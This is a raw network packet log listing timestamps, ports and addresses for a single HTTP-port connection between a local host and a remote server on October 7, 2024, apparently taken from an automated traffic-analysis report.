Oct 7, 2024 03:15:47.886704922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886708975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886727095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886728048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886746883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886746883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886764050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886769056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886790991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886806965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886811018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886823893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886840105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886845112 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886867046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886868000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886884928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886889935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886909008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886914015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886929035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886930943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886949062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886955976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886969090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886974096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.886985064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.886993885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.887012959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.887034893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.909184933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.909241915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.909244061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.909260988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.909286022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.909287930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.909305096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.909307003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.909324884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.909327030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.909348011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.909367085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.971724033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.971762896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.971779108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.971796036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.971797943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.971812963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.971833944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.971833944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.971860886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.971863031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.971880913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.971885920 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.971898079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.971915007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.971930981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.971944094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.971952915 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.971957922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.971987009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972007036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972024918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972035885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972040892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972058058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972059965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972074986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972084045 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972091913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972121000 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972148895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972150087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972177982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972193956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972194910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972208023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972220898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972224951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972242117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972251892 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972265959 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972269058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972285986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972301960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972311020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972320080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972336054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972351074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972352028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972378969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972383022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972402096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972402096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972420931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972435951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972438097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972455978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972460032 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972484112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972491980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972507000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972522974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972524881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972539902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972557068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972569942 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972572088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972587109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972604036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972609997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972620010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972630978 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972639084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972670078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972704887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972723961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972739935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972755909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972769976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972771883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972788095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972800016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972815037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972815037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972830057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972852945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972856998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972875118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972888947 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972891092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972908020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972917080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972933054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972939968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972949028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972966909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972981930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.972981930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.972999096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973006010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973016977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973031044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973047972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973062992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973071098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973093987 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973109007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973113060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973126888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973135948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973155975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973172903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973175049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973192930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973222017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973222971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973238945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973244905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973254919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973282099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973284960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973298073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973315001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973325968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973335981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973350048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973362923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973381996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973382950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973401070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973419905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973427057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973437071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973448992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973454952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973469019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973486900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973489046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973520994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973541975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973567963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973584890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973601103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973613977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973629951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973639965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973647118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973663092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973673105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973680973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973697901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973710060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973714113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973733902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973746061 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973767996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973778963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973793983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973800898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973810911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973825932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973826885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973841906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973844051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973870993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973877907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973890066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973906040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973913908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973923922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.973937988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.973973036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.996123075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.996140957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.996167898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.996184111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.996200085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.996216059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.996232986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.996242046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.996248007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:47.996278048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:47.996303082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.058588982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058635950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058650970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058676004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058701992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058717966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058734894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058734894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.058760881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058778048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.058779001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058795929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058821917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.058824062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058851957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058852911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.058868885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058885098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058897018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.058911085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058926105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058938026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.058942080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058970928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.058971882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058990955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.058996916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059007883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059026003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059036016 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059040070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059056044 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059072971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059081078 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059089899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059108019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059113979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059123039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059137106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059139013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059158087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059179068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059185982 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059205055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059218884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059252977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059258938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059302092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059336901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059371948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059376001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059401035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059417009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059423923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059439898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059441090 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059449911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059467077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059483051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059487104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059525967 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059549093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059565067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059581041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059590101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059628963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059637070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059685946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059725046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059748888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059763908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059773922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059781075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059793949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059818029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059822083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059842110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059858084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059870958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059885979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059901953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059910059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059917927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059942961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059954882 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059958935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059976101 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.059978962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.059992075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060003996 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060040951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060040951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060060024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060082912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060085058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060101986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060108900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060117960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060122967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060148001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060163975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060167074 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060180902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060189962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060199976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060209990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.060215950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060235023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.060246944 CEST	49737	80	192.168.2.4	95.164.90.97
